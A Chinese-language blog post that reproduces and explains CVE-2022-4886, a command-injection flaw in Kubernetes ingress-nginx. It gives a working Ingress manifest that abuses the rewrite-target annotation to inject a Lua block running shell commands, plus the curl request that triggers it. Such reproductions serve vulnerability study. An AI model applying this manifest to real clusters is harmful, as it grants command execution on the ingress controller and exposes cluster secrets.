CVE-2022-4886 ingress命令注入复现与分析

安装

安装ingress-nginx

bash 复制代码
wget https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.8.4/deploy/static/provider/cloud/deploy.yaml

k apply -f deploy.yaml

原理

nginx.ingress.kubernetes.io/rewrite-target标签会在nginx配置进行插入字符串,我们通过注入自己的恶意字符串,并且进行闭合,并且利用了lua脚本执行命令的功能,即可注入一个执行命令的路由来完成执行命令

复制代码
 nginx.ingress.kubernetes.io/rewrite-target: |
      execute-command/ last;     #用于将所有请求重定向到/execute-command
      }
      #注入了一个新路径,用于通过lua脚本执行命令
      location execute-command/ {
        content_by_lua_block {
          local handle = io.popen("ls -l")
          local result = handle:read("*a")
          handle:close()
          ngx.say(result)
        }
      }
      location /fs/{

演示

部署的ingress如下所示

复制代码
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: ingress-exploit
  annotations:
    kubernetes.io/ingress.class: "nginx"
    nginx.ingress.kubernetes.io/rewrite-target: |
      execute-command/ last;
      }
      location execute-command/ {
        content_by_lua_block {
          local handle = io.popen("ls -l")
          local result = handle:read("*a")
          handle:close()
          ngx.say(result)
        }
      }
      location /fs/{

spec:
  rules:
  - host: k8s.evil.me
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: exploit
            port:
              number: 8080

在容器中可以看到

复制代码
 curl --header "Host: k8s.evil.me" http://10.98.219.148/
相关推荐
k4m7v2pz12 分钟前
ThinkPad E490 风扇 “转两秒就停“ 实录:迟滞曲线 + 最短运转时间
linux·脚本·archlinux·thinkpad·风扇·散热
拂拉氏13 分钟前
【知识讲解】 Linux文件系统底层认识
linux·文件系统
IT大白鼠18 分钟前
彭大帅的AI运维助手——自然语言管理 Linux 集群与网络设备——第 1 篇 · 骨架:说人话,跑命令:自然语言 SSH 运维的骨架
linux·运维·人工智能
牢姐与蒯33 分钟前
Linux信号(一).信号产生
linux·运维·服务器·ubuntu
雯宝6 小时前
mnt_init 函数
linux
律宏阔12 小时前
WSL Docker 端口明明空闲,但就是绑不上端口
linux·windows
律宏阔12 小时前
WSL 突然断网,无法 ping 内网或外网
linux·windows
穷人小水滴12 小时前
用容器编译 VirtualBox 虚拟机软件 (ArchLinux, podman)
linux·容器·virtualbox
乱码三千13 小时前
如何优雅地直连无公网 IP 的远程 GPU 服务器
linux·人工智能·程序员
yunwei3713 小时前
使用 eBPF 跟踪 Nginx 请求
linux·后端·性能优化